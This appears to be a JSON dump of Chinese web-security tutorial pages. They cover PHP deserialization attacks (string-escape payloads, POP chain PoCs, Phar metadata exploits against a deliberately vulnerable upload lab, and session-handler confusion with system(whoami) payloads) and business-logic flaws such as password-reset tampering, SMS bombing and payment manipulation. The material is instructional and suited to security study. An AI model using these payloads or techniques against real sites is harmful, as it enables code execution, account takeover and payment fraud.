'\\75sername'$a = 'O:4:"test":1:{S:8:"\\\\75sername";s:5:"admin";}';$a = check($a); // 检查处理后的数据,不会输出提示信息,因为没有直接包含 'username'unserialize($a); // 反序列化处理后的数据,会触发 test 类的析构方法,输出 666 PHP反序列化字符逃逸 此类题目的本质就是改变序列化字符串的长度,导致反序列化漏洞 这种题目有两个共同点: PHP序列化的字符串经过了替换或者修改,导致字符串长度发生变化 总是先进行序列化,再进行替换修改操作 分类: 替换后字符变多 替换后字符变少 情况1:过滤后字符变多123456789101112131415161718192021222324252627282930313233343536373839404142<?php// 定义一个函数change,用于将字符串中的所有"x"替换成"xx"function change($str){ // 使用str_replace函数替换字符串中的"x"为"xx" return str_replace("x", "xx", $str);}// 从请求的GET参数中获取'name'的值$name = $_GET['name']; // 警告:这里没有进行任何的输入过滤或验证,实际应用中这是一个严重的安全问题.// 定义一个字符串变量$age$age = "I am 11";// 创建一个数组$arr,包含$name和$age两个元素$arr = array($name, $age);// 输出提示信息echo "反序列化字符串:";// 使用serialize函数序列化$arr数组,并输出var_dump(serialize($arr));// 输出换行HTML标签echo "<br/>";// 输出提示信息echo "过滤后:";// 对序列化的数组字符串进行过滤替换(调用change函数),并赋值给$old$old = change(serialize($arr));// 对替换后的字符串进行反序列化,并赋值给$new$new = unserialize($old);// 输出过滤后的反序列化结果var_dump($new);// 输出换行HTML标签echo "<br/>";// 显示$new数组中的第二个元素,即年龄信息echo "此时,age=$new[1]"; // 注意:如果$new[1]的数据类型不是字符串,这里可能产生错误或不可预料的行为. 正常情况,传入name=cat 如果此时多传入一个x的话会怎样,毫无疑问反序列化失败,由于溢出(s本来是4结果多了一个字符出来),我们可以利用这一点实现字符串逃逸 首先来看看结果,再来讲解 我们通过GET参数传入了一个包含多个x字符的name值: 1$name = "catxxxxxxxxxxxxxxxxxxxx";i:1;s:6:"woaini";}"; 当使用以下代码对序列化的字符串进行替换操作时,问题就出现了: 12// 把字符串中的每一个'x'替换成两个'xx'$old = str_replace('x', 'xx', serialize($arr)); 这里发生了什么: 原始输入:name=catxxxxxxxxxxxxxxxxxxxx";i:1;s:6:"woaini";} 字符计数:原始输入的";i:1;s:6:"woaini";}部分共有20个字符. 替换效果:每个x都被替换为xx,所以原本的20个x变成了40个. 字符串逃逸:由于替换后x的数量翻倍,导致原始的结尾部分";i:1;s:6:"woaini";}被覆盖,使得序列化字符串的格式被破坏. 反序列化结果:最终的"字符闭合了字符串,使得woaini可以成功被反序列化出来. 结尾处理:剩余的结尾分号";}正确闭合了整个序列化过程,使得原来应该出现在结尾的";i:1;s:7:"I am 11";}"被忽略,不影响反序列化结果. 情况2:过滤后字符变少老规矩先上代码,就是把反序列化后的两个x替换成为一个 123456789101112131415161718192021222324252627282930313233343536373839404142434445<?php// 定义一个函数change,用于将字符串中的所有"xx"替换成"x"function change($str){ // 使用str_replace函数进行字符串替换 return str_replace("xx", "x", $str);}// 从URL的GET参数中获取'name'并赋值给数组$arr的'name'键$arr['name'] = $_GET['name']; // 注意:直接使用用户输入可能导致安全漏洞// 从URL的GET参数中获取'age'并赋值给数组$arr的'age'键$arr['age'] = $_GET['age']; // 注意:同上,需要对用户输入进行验证和过滤// 输出文字提示echo "反序列化字符串:";// 输出序列化后的$arr数组var_dump(serialize($arr));// 输出HTML的换行标签echo "<br/>";// 输出文字提示echo "过滤后:";// 把序列化后的字符串通过change函数处理,并将处理后的结果赋值给$old$old = change(serialize($arr));// 输出处理后的字符串var_dump($old);// 输出HTML的换行标签echo "<br/>";// 使用unserialize函数对处理后的字符串$old进行反序列化,并将结果赋值给$new$new = unserialize($old);// 输出反序列化后的数组var_dump($new);// 输出HTML的换行标签echo "<br/>此时,age=";// 输出新数组$new中'age'键对应的值echo $new['age']; 正常情况传入name=mao&age=11的结果 最后构造的结果: 1name=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx&age=11";s:3:"age";s:6:"woaini";} 在序列化字符串中,由于我们插入了40个x字符,这导致原本的序列化数据因长度不匹配而被”截断”.这意味着序列化字符串中接下来的20个字符–";s:3:"age";s:28:"11–被这些x字符取代了.因为字符串在某个点被"字符闭合,这使得序列化的数据结构被破坏,从而允许插入额外的数据. 具体来说: 1s:3:"age";s:28:"11";s:3:"age";s:6:"woaini";}" 在这个序列化字符串中: s:3:"age"; 指定了一个长度为3的字符串”age”. s:28:"11" 试图定义一个长度为28的字符串,但实际上只包含”11”. 多余的x字符替换了这个字符串后面应有的内容. 最终"字符闭合了字符串,使得原本应当由序列化数据决定的内容现在可以被外部输入覆盖. 结果是,”age”的值不再是原本的”11”,而是被篡改后的”woaini”. POP链 POP链就是利用了PHP中对象的自动调用魔术方法特性,将多个类和方法串联起来,形成一个链式调用.当PHP反序列化时,会自动调用这些方法,触发代码执行. POP链构造技巧 简单浏览:找出可能的漏洞点 多去注意一些容易触发漏洞的函数:eval、include等 根据漏洞点反推:看逻辑是否可行(参数是否可控、魔术方法是否能触发、条件是否可达成等) 一般是先找注入点,判断注入需要的参数,然后找到包含执行注入的函数(一般就是魔术方法),再找执行此函数的条件a,判断条件a是否可以满足,然后再找执行条件a需要满足的条件b,依次找下去直到不需要再找需要满足的条件即可. 最后构造POC验证 构造的时候根据上一步找到的条件,最好从后往前构造,并且要找正确触发魔术方法的究竟是谁($this指的是谁) 一道简单的pop链例题12345678910111213141516171819202122232425262728293031323334// 定义了一个名为test的类class test{ private $index; // 私有属性 $index,用于储存index类的实例 // test类的构造函数 function __construct(){ $this->index=new index(); // 在新创建的test类实例中,为属性$index创建一个新的index类实例 } // test类的析构函数 function __destruct(){ $this->index->hello(); // 在test类对象被销毁前,调用其属性$index的hello方法 }}// 定义了一个名为index的类class index{ // index类中定义了一个公共方法hello public function hello(){ echo '你好啊~'; // 当调用此方法时,输出字符串"你好啊~" }}// 定义了一个名为execute的类class execute{ public $test; // 公共属性$test,可以存储任何值 // execute类中的hello方法 function hello(){ eval($this->test); // 使用eval函数执行存储在$test属性中的字符串.这里存在安全风险,不推荐使用eval. }}unserialize($_GET['test']); 漏洞利用点:eval($this->test);使hello()可执行,利用eval执行系统命令:$test=system(dir); hello()执行需满足: __destruct可触发:(反序列化test对象之后自动执行)且将$index=new execute() 将index设置为execute的示例需满足:__construct 不触发(反序列化test对象不会触发) 简单的POC12345678910111213<?php class test{ private $index; function __construct(){ $this->index=new execute(); } }\tclass execute{ public $test="system('dir');"; }\t$a=new test();\techo urlencode(serialize($a)); 因有privat修饰符(会产生不可打印字符)所以我们后面使用urlencode输出以便我们复制 CTF例题12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455class Modifier { protected $var; public function append($value) { include($value); } public function __invoke() { $this->append($this->var); }}class Show { public $source; public $str; public function __construct($file = 'index.php') { $this->source = $file; echo 'Welcome to ' . $this->source . "<br>"; } public function __toString() { return $this->str . $this->source; } public function __wakeup() { if (preg_match("/^(gopher|http|file|ftp|https|dict)\\.*/i", $this->source)) { echo "hacker"; $this->source = "index.php"; } }}class Test { public $p; public function __construct() { $this->p = array(); } public function __get($key) { $function = $this->p; return $function(); }}if (isset($_GET['pop'])) { // The @ operator is used to suppress error messages. // This is generally a bad practice and can lead to security vulnerabilities. // Also, unserialize user input directly is very dangerous because it can lead to object injection vulnerabilities. @unserialize($_GET['pop']);} else { $a = new Show; highlight_file(__FILE__);} 漏洞构造点:让append()执行利用文件包含include打开flag文件 让$value=flag.php append()执行 需要:invoke()被触发(Modifierl)实例作为函数调用) Modifierl实例作为函数调用需要:__get被触发)(访问Test对象不存在的属性)且$p=new Modifier()触发`__invoke()` 访问Test对象不存在的属性:__toString()触发(Show对象被当作字符串)且$str=new Test();触发`__get()` Show对象被当作字符串:__wakeup()触发(对show对象反序列化自动触发)且$source = new Show();触发`__toString` 最后顺序要求:触发__wakeup–>触发__tostring->触发__get–>触发__invoke POC123456789101112131415161718192021222324252627class Modifier{ // include函数使用伪协议读取文件 protected $var="flag.php"; // 或者利用php伪协议读取 //protected $var="php://filter/read=convert.base64-encode/resource=flag.php";}class Test{ public $p;}class Show{ public $source; public $str;\t// 类中将另一个对象赋值给属性需要使用构造函数. public function __construct(){ $this->str = new Test(); }}// 此时source(show) -> str$a = new Show();// source(show) -> str之后触发__tostring然后访问source(test)触发__get$a->source = new Show();// __get返回的$p触发__invoke$a->source->str->p = new Modifier();echo urlencode(serialize($a)); 资料参考自 POP链与Gadget的区别PHP的POP链(Property Oriented Programming chain)和Java反序列化中的Gadget概念都是与对象序列化和反序列化安全相关的术语,但它们属于不同的编程语言环境,并且在具体的攻击方式和安全影响上有所区别. PHP的POP链: 在PHP中,POP链指的是通过反序列化过程中魔术方法的调用链,这些魔术方法可能包括__wakeup(), __destruct(), __toString(), __call()等. 通过精心设计的反序列化字符串,攻击者可能会触发这些魔术方法的连锁执行,从而可能导致代码执行、文件操作、数据库操作等潜在的危险行为. PHP的POP链攻击通常依赖于对象的内部状态和方法的定义来影响应用程序的行为. Java的Gadget: Java中的Gadget通常指的是在反序列化过程中可以被调用以执行某些操作的对象和方法组合. Java反序列化时,JVM会根据序列化数据中的描述来重建对象图,并在这个过程中可能会调用存在于序列化对象中的特殊方法,如readObject(), readResolve(), validateObject(), readExternal()等. 攻击者可以利用这些特殊方法来执行恶意行为,如远程代码执行.被恶意利用的这些类和方法组合被称为Gadget. 区别: 语言环境:POP链是属于PHP的安全问题,而Gadget是Java的概念. 攻击链:PHP的POP链是利用魔术方法的特性来形成的攻击链,而Java的Gadget通常是利用JVM在反序列化过程中调用特定方法的行为来形成攻击向量. 防御措施:虽然两者都需要谨慎处理用户的输入以及序列化和反序列化的数据,但具体的防御措施会有所不同.例如,Java中可能会使用lookAheadInput和validatingObjectInputStream,而PHP中则需要控制魔术方法的使用和访问权限,或者避免使用序列化存储用户输入的数据. 危险方法:在PHP中主要是魔术方法,而在Java中则是实现了序列化接口的类中的特殊方法. Phar反序列化 关于Phar反序列化漏洞,它发生的原因通常是因为Phar文件在被访问时,其元数据(metadata)会被自动反序列化.如果攻击者可以控制Phar文件的内容或元数据,他们可能会利用这个反序列化过程来执行恶意代码. Phar文件的元数据是在创建Phar时通过Phar::setMetadata()设置的,当Phar文件被访问时,比如通过phar://流封装协议,Phar文件内的元数据会被反序列化.如果元数据包含了恶意的序列化对象,而这个对象在反序列化时会调用可被利用的魔术方法(如__wakeup、__destruct、__toString),那么就可能触发一个漏洞. 什么是Phar PHAR(“Php ARchive”)是PHP类似于JAR的一种打包文件,在PHP 5.3或更高版本中默认开启,这个特性使得PHP也可以像Java一样方便地实现应用程序打包和组件化 一个应用程序可以打成一个Phar包,直接放到PHP-FPM中运行 Phar文件结构Phar文件是PHP中用于分发或部署整个PHP应用的一种方式,它可以包含必要的所有文件,如PHP代码、HTML模板、图像等.Phar文件的结构使得它可以在PHP中自包含,并且通常带有签名以验证其完整性. 以下是Phar文件的组成部分的详细说明: Stub: Stub是Phar文件的启动器(bootstrap)部分,它是一个PHP脚本,在Phar被执行时首先被运行.Stub通常用来设置Phar的运行环境或包含自动加载器. Stub的基本要求是它必须以特殊的__HALT_COMPILER();函数调用结束.这个函数会停止编译器的执行,从而允许将非PHP代码包含在同一个文件中. Stub的结构通常是这样的: 1<?php __HALT_COMPILER();?> 之后的数据可以是Phar文件的其它部分,但这个__HALT_COMPILER();之后的内容对PHP来说是不可执行的. Manifest: Manifest描述了Phar文件中包含的所有文件和元数据. 其中每个文件都会有一个相应的条目,条目中包含了文件的名称、大小、时间戳、压缩类型等信息. Meta-data部分存储了关于Phar自身的信息,以序列化的形式存储.如果存在反序列化漏洞,攻击者可以通过精心构造的meta-data来执行恶意代码. File Contents: 这部分包含了Phar文件中所有文件的实际内容. 文件内容可以是压缩的也可以是未压缩的,这取决于在创建Phar时的设置. Signature: 签名是用来验证Phar文件完整性的. Phar文件可以使用不同类型的签名,如SHA1或SHA256,以确保文件自创建以来没有被修改. 签名通常位于Phar文件的最后部分,Phar文件在被使用前会校验这个签名以确保安全. 当Phar文件被包含或直接执行时,PHP会按照这些部分的顺序来处理Phar文件.如果启用了Phar扩展,并设置了允许Phar文件的执行,PHP将按照Manifest中的信息加载文件,并执行Stub中的代码.如果Phar文件的签名验证失败,或者文件不完整,那么PHP将不会执行Phar文件. PHP内置了一个Phar类来处理相关操作 必须将PHP.INI中的phar.readonly选项设置为Off,否则无法生成Phar文件 12345678910111213141516171819202122<?php//反序列化payload构造class TestObject{}@unlink("phar.phar");//实例一个phar对象供后续操作,后缀名必须为phar$phar = new Phar("phar.phar");//开始缓冲对phar的写操作$phar->startBuffering();//设置识别phar拓展的标识stub,必须以 __HALT_COMPILER();$phar->setStub("<?php __HALT_COMPILER(); ?>");//将反序列化的对象放入该文件中$o = new TestObject();$o->data = 'It\\'s Bob';//将自定义的归档元数据meta-data存入manifest$phar->setMetadata($o);//phar本质上是个压缩包,所以要添加压缩的文件和文件内容$phar->addFromString("test.txt", "Bob");//停止缓冲对phar的写操作$phar->stopBuffering(); 我们用010将Phar打开,观察一下数据 可以明显的看到meta-data是以序列化的形式存储的. 有序列化数据必然会有反序列化操作,php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,测试后受影响的函数如下: 受影响的函数列表 fileatime filectime file_exists file_get_contents file_put_contents file filegroup fopen fileinode filemtime fileowner fileperms is_dir is_executable is_file is_link is_readable is_writable is_writeable parse_ini_file copy unlink stat readfile 123456789<?php# 反序列化class TestObject{ function __destruct() { echo $this->data; }}include 'phar://phar.phar'; 可以看到已经成功的触发了反序列化 问题? 序列化:当您调用 $phar->setMetadata($o); 时,PHP将您的 $o 对象及其所有属性(在这个例子中是 data)序列化为一个字符串,并将这个字符串存储在Phar文件的元数据中.这个字符串包含了重建对象 $o 时所需要的所有信息. 反序列化:当您包含 phar://phar.phar 文件时,PHP Phar扩展会自动尝试反序列化存储在其中的所有元数据.这意味着,Phar文件中存储的序列化字符串会被转换回PHP对象. 现在,理解上述过程后,让我们来看看您的序列化和反序列化代码: 在序列化代码中,$o 是 TestObject 的一个实例,并且它有一个名为 data 的属性,这个属性被设置为字符串 'It\\'s Bob'. 在反序列化的脚本中,TestObject 类被定义了一个析构函数 __destruct(),它会在对象被销毁时自动调用,并输出 data 属性. 当您在第二个脚本中包含Phar文件时,Phar扩展会自动反序列化元数据,并创建一个新的 TestObject 对象.由于反序列化创建的对象具有与序列化期间相同的属性和值,它的 data 属性将包含 'It\\'s Bob'. 当脚本执行结束或者没有其他引用指向该对象时,新创建的 TestObject 对象会被销毁.对象被销毁时,它的 __destruct() 方法被调用,然后 echo $this->data; 语句执行,输出存储在 data 属性中的字符串. 这是两个完全独立的 TestObject 对象实例: 一个是在序列化时创建并存储在Phar文件中的; 一个是在反序列化时由Phar扩展自动创建的 反序列化的对象实例具有序列化对象实例相同的属性值.这就是为什么它能够输出序列化时设置的字符串的原因. 漏洞复现 环境准备 upload_file.php文件上传表单及后端检测上传的文件类型是否为gif,后缀名是否为gif file_vuln.php存在file_exists(),并且存在__destruct() 利用条件 phar文件要能够上传到服务器端 服务端需要有file_exists()、fopen()、file_get_contents()、file()等文件操作的函数 要有可用的魔术方法作为”跳板” 文件操作函数的参数可控,且:/,phar等关键字没有被过滤 1234567891011121314151617181920212223242526272829303132333435<?php// 检查是否有文件被上传if ($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_FILES['file'])) { // 检查文件类型是否为GIF if ($_FILES["file"]["type"] == "image/gif" && pathinfo($_FILES["file"]["name"], PATHINFO_EXTENSION) == 'gif') { // 上传的文件信息 echo "Upload: " . $_FILES["file"]["name"] . "</br>"; echo "Type: " . $_FILES["file"]["type"] . "</br>"; echo "Temp file: " . $_FILES["file"]["tmp_name"] . "</br>"; // 检查是否已存在同名文件 if (file_exists("./" . $_FILES["file"]["name"])) { echo $_FILES["file"]["name"] . " already exists"; } else { // 移动文件到指定目录 if (move_uploaded_file($_FILES["file"]["tmp_name"], "./" . $_FILES["file"]["name"])) { echo "Stored in: " . "./" . $_FILES["file"]["name"]; } else { // 文件移动失败 echo 'Failed to upload the file'; } } } else { // 文件类型不符合要求 echo "Invalid file, you can only upload a GIF file"; }}?><!-- HTML表单用于文件上传 --><body> <form action="" method="post" enctype="multipart/form-data"> <label for="file">File:</label> <input type="file" name="file" id="file"> <!-- 文件选择输入框 --> <input type="submit" value="Upload"> <!-- 提交按钮 --> </form></body> file_vuln.php12345678910<?php$filename = $_GET['filename'];class AnyClass{ var $output = 'echo "ok";'; function __destruct() { eval($this->output); }}file_exists($filename); 先用payload生成一个phar.phar 12345678910111213141516171819202122<?phpclass AnyClass{}# 删除文件,确保开始前文件不存在,避免在创建新的phar文件时发生冲突.@unlink("phar.phar");//实例一个phar对象供后续操作,后缀名必须为phar$phar = new Phar("phar.phar");//开始缓冲对phar的写操作$phar->startBuffering();//设置识别phar拓展的标识stub,必须以 __HALT_COMPILER();$phar->setStub("<?php __HALT_COMPILER(); ?>");//将反序列化的对象放入该文件中$o = new AnyClass();$o->output = 'phpinfo();';//将自定义的归档元数据meta-data存入manifest$phar->setMetadata($o);//phar本质上是个压缩包,所以要添加压缩的文件和文件内容$phar->addFromString("test.txt", "lll");//停止缓冲对phar的写操作$phar->stopBuffering(); 将phar后缀名改为gif,然后通过文件上传传上去 通过file_vuln页面利用phar伪协议包含phar.gif造成反序列化漏洞 Phar反序列化的绕过压缩过滤器触发phar时解决phar://不能出现在首部的问题 这时我们可以利用compress.zlib://或compress.bzip2://函数 compress.zlib://或compress.bzip2://同样适用于phar:// payload:compress.zlib://phar://phar.phar/test.txt 1234compress.bzip://phar:///test.phar/test.txtcompress.bzip2://phar:///test.phar/test.txtcompress.zlib://phar:///home/sx/test.phar/test.txtphp://filter/resource=phar:///test.phar/test .txt PHP-Session反序化资料参考自 PHP在session存储和读取时,都会有一个序列化和反序列化的过程,PHP内置了多种处理器用于存取$_SESSION数据,都会对数据进行序列化和反序列化,PHP中的Session的实现是没有的问题的,漏洞主要是由于使用不同的引擎来处理session文件造成的 存在对$_SESSION变量赋值php引擎存储Session的格式为 php 键名 + 竖线 + 经过 serialize() 函数序列处理的值 php_serialize (PHP>5.5.4) 经过 serialize() 函数序列化处理的数组 如果程序使用两个引擎来分别处理的话就会出现问题。比如下面的例子,先使用php_serialize引擎来存储Session. sess_write.php123456789<?phperror_reporting(0);ini_set('session.serialize_handler','php_serialize');session_start();$_SESSION['username'] = $_GET['user'];echo "<pre>";var_dump($_SESSION);echo "</pre>";?> 接下来使用php引擎来读取Session文件 sess_read.php1234567891011<?phperror_reporting(0);ini_set('session.serialize_handler','php');session_start();class user{ var $name; function __wakeup(){ echo "hello ".$this->name." !" }}?> 漏洞的主要原因在于不同的引擎对于竖杠|的解析产生歧义。 对于php_serialize引擎来说|可能只是一个正常的字符;但对于php引擎来说|就是分隔符,前面是$_SESSION['username']的键名 ,后面是GET参数经过serialize序列化后的值。从而在解析的时候造成了歧义,导致其在解析Session文件时直接对|后的值进行反序列化处理。 可能有的人看到这里会有疑问,在使用php引擎读取Session文件时,为什么会自动对|后面的内容进行反序列化呢?也没看到反序列化unserialize函数。 这是因为使用了session_start()这个函数 ,看一下官方说明 https://www.php.net/session_start/https://www.php.net/session_start/ 可以看到PHP能自动反序列化数据的前提是,现有的会话数据是以特殊的序列化格式存储。 明白了漏洞的原理,也了解了反序列化漏洞的位置,现在来思考一下攻击思路 首先访问sess_write.php,在传入的参数最开始加一个|,由于sess_write.php是使用php_serialize引擎处理,因此只会把|当做一个正常的字符,然后访问sess_read.php,由于用的是php引擎,因此遇到|时会将其看做键名与值的分隔符,从而造成歧义,导致其在解析session文件时直接对|后的值进行反序列化处理 payload12345678910111213class student{ var $payload; function __wakeup() { return assert($this->payload); }}$a = new student();$a->payload = "system(whoami)";echo serialize($a);# result: O:7:"student":1:{s:7:"payload";s:14:"system(whoami)";} 攻击思路中说到了因为不同的引擎会对|,产生歧义,所以传参的时在payload前加个|,作为a参数 sess_write.php1234567error_reporting(0);ini_set('session.serialize_handler', 'php_serialize');session_start();$_SESSION['username'] = $_GET['n'];echo "<pre>";var_dump($_SESSION);echo "</pre>"; sess_read.php123456789101112error_reporting(0);ini_set('session.serialize_handler', 'php');session_start();class student{ var $payload; function __wakeup() { return assert($this->payload); }} PHP原生类的利用未完待续qaq"},{"title":"十四. 逻辑漏洞","path":"/wiki/VulnerabilityInsightDocs/十四. 逻辑漏洞.html","content":"总字符数: 4.20K 代码: 0.14K, 文本: 2.74K 预计阅读时间: 13 分钟 逻辑漏洞的本质 ​ 所有Web应用程序都通过逻辑实现各种功能.每个阶段都会执行数目庞大的逻辑操作. ​ 这些逻辑代表着一个复杂的受攻击面. SQL注入和XSS类漏洞,它们具有容易辨别的签名,人们对它们的利用方法也进行了广泛的研究. ​ 但逻辑程序的逻辑缺陷更难以识别:每一种缺陷似乎都是唯一的. ​ 程序开发者会认为,如果出现A,一定就会有B,因此我执行C. 但实际上,攻击者会制造出X. 所以简单来讲,逻辑漏洞可以理解为不按套路出牌. ​ 为此在逻辑漏洞的学习时候,并不推荐按照注入类漏洞的方法学习,而更建议通过案例类的方案进行学习. 逻辑漏洞的案例验证码相关验证码正确逻辑: 验证码可能存在的漏洞 验证码机制主要用于用户身份识别,这里主要指短信验证码和邮箱验证码等. 短信轰炸绕过 注册、忘记密码、修改密码处,均存在发送短信验证,可能会设置参数值的不同,来判断是执行什么样的功能.比如type=1是注册,type=2是忘记密码,type=3是修改密码等.我们可以通过修改参数值,来绕过一分钟内只发送一次限制,达到短信轰炸的目的 防护手段: 验证码(图形验证码、滑行验证码) 限制单一手机号一定时间内的发送次数上限(比如有效期30分钟内只允许获取一次) 设置对同一手机号发送短信的最小时间间隔(比如间隔为3分钟) 验证码爆破 验证码在响应包中明文返回 验证码绕过 参数污染 在获取短信验证码的功能点出进行参数污染.比如重放参数为mobile,重放的时候可以:mobile=1772&mobile=1343两个手机号可同时收到验证码,且验证码一致,挖到这个洞即可造成任意用户登录参数污染的方式: mobile=177******2&mobile=134******3 mobile=177*******2,134*******3 mobile=177*******2%09134*******3 //%09是tab,这里用换行、tab、null都可以测试 https://forum.butian.net/share/2602https://forum.butian.net/share/2602 暴力破解漏洞原理 ​\t利用大量猜测和穷举的方式来尝试获取用户口令的攻击方式,身份验证模块设计的不好,攻击者可以利用自动化攻击进行暴力破解,大大增加了密码被破解的风险 攻击场景 无任何防护情况下,可利用密码字典针对单个用户进行密码的暴力破解 对单个用户有密码错误次数上限,可利用用户名字典暴力破解出弱口令账号 防御方法 锁定机制 如限制单位时间内执行某项操作的次数(如果次数超过则对账号或IP进行一段时间的锁定,锁定时间内不得使用相关功能,应对限制方式、次数和计算方法、锁定时间等进行明确的说明) 人机识别措施 如图片验证码、重力感应、短信验证码、语音验证码等,为了提升用户体验,对于一些低风险的操作,可以设定单位时间内执行操作次数的阈值,超过阈值后再进行人机识别措施. 任意密码重置抓包改包类在某次的安全测试中,我们遇到了一个非常典型的任意密码重置类漏洞.在网站的忘记密码能分析出来网站的工作过程如下: 用户通过输入手机号来请求短信验证码。 接着,用户在网站上输入接收到的验证码。 如果输入的验证码与服务器保存的值匹配,用户则被允许设置新密码。 网站的安全假设是,用户能够提供一个独特的信息——短信验证码,这被用来验证操作者的身份,然而,存在一个漏洞。 当一个真正的用户完成上述流程,接收验证码并输入它来设置新密码时,我们发现攻击者可以通过拦截网络请求(抓包)来篡改提交的数据。 具体地:攻击者可以在最终提交修改密码的请求中更改mobile字段的值,将其设置为目标受害者的手机号。 这样一来,攻击者就能在受害者完全不知情的情况下,更改其账户密码。这表明网站没有恰当地验证密码重置请求的真实性,因而容易遭受攻击 修改返回包状态上面的案例,是通过修改发送包,而下面的案例来自于过去线下班学生的实践,是一个典型的通过修改返回包的逻辑漏洞. 使用网站的正确流程修改帐号 A 的密码,抓包保存正确的返回包. 修改返回包的状态码等内容. 而当我们想修改账户B的密码,由于没有正确的验证码,从而失败 使用burpsuite,将正确的返回包,替换错误的返回包后,即可修改账户B的口令并成功登录. 案例:wooyun-2015-0165235 在实际的漏洞挖掘中,类似的场景会出现变形,例如在登录界面,随意输入用户密码后,将false修改为true,亦或者status=0修改为status=1. 敏感信息泄露在一些逻辑漏洞的场景中,很多时候我们连抓包改包都不需要,某些网站会出现将短信验证码放置于返回包中. 案例:wooyun-2015-0162609 只需要将手机号输入到页面上,返回包中会出现用户的全部注册信息,这会包括手机号、姓名、邮箱、身份证号等等. 修复建议 用户操作个人信息(读取、修改)时,服务端要对当前用户身份进行验证,防止越权操作; 用来标识用户身份的名称或ID可以使用自定义加密,也可以隐藏这些参数,直接从cookie中获取用户信息; 用户修改密码时应该先对旧密码进行验证,或者使用手机短信验证; 用户修改手机号时需要先对原手机号进行验证. 修改整个密码重置流程,不要将用户进行直接在返回包中明文展示 支付漏洞根据实现的方式,支付漏洞可以分为如下几类: 修改购买数量 修改支付价格 修改商品id|订单id 修改支付的状态 重复支付&&条件竞争 修改附属优惠、领取优惠 签约漏洞 一元网站的业务版块中,很常见的功能为在线购买及支付.而在其中典型的逻辑漏洞方式为修改支付金额,从而造成极低的价格购买高价值产品. 案例:wooyun-2016-0211806 那么此时我们可以思考为什么会产生这个问题?而又该如何进行修复? 负数在网站的支付功能模块中,往往也会出现类似于钱包的功能,用户可以通过提前充值,而购买时使用钱包中的金额进行支付,而无需在线支付. 案例:wooyun-2015-0150937 那么此时我们可以思考为什么会产生这个问题?而又该如何进行修复? 修改购买数量 修改购买数量的方式有很多种,这里提供几个常见的思路. 修改购买数量为负数 购买商品正负相抵 直接购买负数商品造成余额增加 修改购买数量为大数 这里有个整数溢出的概念,int的范围为-2147483648~2147483647,可以把他理解为一个循环,也就是2147483647=-2147483647,但是有时支付里没有负数就从0开始计算了,这里我们只需把购买的数量改为2147483647/[单件价格]+1即可。 修改购买数量为小数 这里有个四舍五入的概念,例如买1.5件商品会变为2件商品,而价格还是1.5件商品的价格。 条件竞争(并发) 条件竞争的原理说到底是高并发状态下对同一资源的读取写入问题.BURP插件:Turbo Intruder 签约漏洞 比如一个会员,正常价格是30,首月只需15元,那我们一个号先登录手机A,进入首充界面,跳转到支付宝支付界面,别支付,停在此处。 此时换另一个手机B登录该账号(此时A手机上的该账号可能会被顶下,但是无所请,因为已经进入支付宝的支付界面了),手机B一样进入首充,跳转到支付宝界面,此时A和B者支付,可能就能张得两个月的会员。如下图,正常逻辑是以新用户身份创建订单,支付,再创订单时后台判断你不是新用户,无法成功,绕过逻针就是以新用户身份同时下单两次不支付 正常逻辑: 绕过逻辑: 越权漏洞 越权漏洞的核心是用户提交的参数中包含身份辨别参数,可篡改,且后端没有针对这个鉴权 相对水平越权,垂直越权实现的方式除了改参数可能还有未授权(比如后给管理员操作的接口) 未授权的挖掘在于接口的发现以及fuzz参数,附带一些可能可以绕过鉴权的小操作。 碰见加密传输莫慌,js中慢慢寻找总能有答案。 垂直越权java绕过鉴权路由后加:**..;或;或/**如果A用户的权限高于B用户,B用户越权操作A用户的权限的情况称为垂直越权. 案例wooyun-2015-0100876 那么此时我们可以思考为什么会产生这个问题?而又该如何进行修复? 水平越权如果A用户的权限等于B用户,B用户越权操作A用户的权限的情况称为水平越权. 案例wooyun-2015-0130090 前后文越权在很多国内所制作的逻辑漏洞脑图中,往往将越权类的逻辑漏洞分为垂直与水平越权两类.而第三种前后文越权的类型由于比较少见,往往会被人们忽略.很多时候,网站往往会存在基于顺序的逻辑,前后文越权的漏洞逻辑在于攻击此顺序,尝试跳过一些关键步骤. JS逆向**网站注册发现了密码加密,f12打开调试器,审查一下有无可疑文件,发现了register.js 打开,浏览一遍,找可疑字段,在93行发现了对password二次赋值,下个断点,点击注册 发现了一个可疑变量,控制台打印一下 可以发现是一个类似于加密用的东西,并且下面的函数也传入了这个变量,鼠标点击encryptedString,跟进查看一下,鼠标悬停在函数名上,点击小箭头 可以发现第一个参数传入的是key,第二个参数传入的是string 我们在控制台里调用此函数并把可疑变量publicKey当做参数key传入进去,即可得到秘钥,返回控制台,继续跟进下一步,查看他返回的密文和我们自己控制台生成的密文是否一样 在对比器中可以发现字符一模一样,逆向成功 逻辑漏洞的总结逻辑漏洞的挖掘确实依赖于对应用程序逻辑深入的理解和分析,因为这类漏洞往往不会有明显的指纹,而是隐藏在正常功能的误用或设计缺陷中。 使用Burp Suite等工具手动测试应用程序是检测逻辑漏洞的有效方法,这允许测试者审查和修改HTTP请求,以揭示潜在的逻辑错误。 下面是逻辑漏洞挖掘的大致流程: 功能模块分析:理解应用程序的功能模块和它们如何交互。 正常用户使用流程分析:以正常用户的行为模式使用应用程序,同时抓取网络数据包。 参数与逻辑分析:分析网络请求中的每个参数,以及它们关联的后端逻辑如何响应这些输入。 测试方案设计与尝试:基于上述分析,设计测试场景以尝试不同的输入和用户行为,查看应用程序如何响应非预期的行为。"},{"title":"十四. 业务逻辑漏洞","path":"/wiki/VulnerabilityInsightDocs/十四. 业务逻辑漏洞.html","content":"总字符数: 9.66K 代码: 无, 文本: 2.49K 预计阅读时间: 11 分钟 一、什么是业务逻辑漏洞?​\t业务逻辑漏洞就是指攻击者利用业务/功能上的设计缺陷,获取敏感信息或破坏业务的完整性.一般出现在密码修改、越权访问、密码找回、交易支付金额等功能处. 逻辑漏洞的破坏方式并非是向程序添加破坏内容,而是利用逻辑处理不严密或代码问题或固有不足,进行漏洞利用的一个方式. https://portswigger.net/web-security/logic-flaws/exampleshttps://portswigger.net/web-security/logic-flaws/examples 二、BP靶场之11关 Security Issue Description Excessive trust in client-side controls 过度信任客户端控件 High-level logic vulnerability 高级逻辑漏洞 Inconsistent security controls 不一致的安全控制 Flawed enforcement of business rules 业务规则执行上的缺陷 Low-level logic flaw 低级逻辑缺陷 Inconsistent handling of exceptional 